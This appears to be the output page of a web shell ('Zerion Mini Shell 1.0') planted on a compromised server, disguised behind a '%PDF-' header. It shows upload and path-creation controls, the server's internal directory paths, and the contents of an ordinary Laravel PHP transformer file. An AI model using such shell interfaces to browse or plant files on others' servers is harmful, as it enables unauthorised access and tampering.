%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Transformers/ServiceTransformer.php

<?php

namespace App\Transformers;

use App\Models\Service;

class ServiceTransformer extends BaseTransformer
{
    protected $availableIncludes = [
        'category',
    ];

    public function includeCategory(Service $service)
    {
        if ($category = $service->category) {
            return $this->item($category, new CategoryTransformer, 'category');
        }
        return null;
    }

    /**
     * @param Service $service
     *
     * @return array
     */
    public function transform(Service $service)
    {
        return [
            'id'               => $service->id,
            'name'             => $service->name,
            'category_id'      => $service->category_id,
            'client_id'        => $service->client_id,
            'description'      => $service->description,
            'long_description' => $service->long_description,
            'price'            => $service->price,
            'can_disable'      => $service->canDisable(),
            'can_enable'       => $service->canEnable(),
            'can_edit'         => $service->canEdit(),
            'has_media'        => $service->hasMedia(Service::MEDIA_DISK),
            'media_filename'   => $service->getFileName(),
            'is_available'     => $service->is_available,
            'created_by'       => $service->client_id && $service->client->companyProfile
                ? $service->client->companyProfile->name
                : 'Green Geotechnics',
        ];
    }
}

Zerion Mini Shell 1.0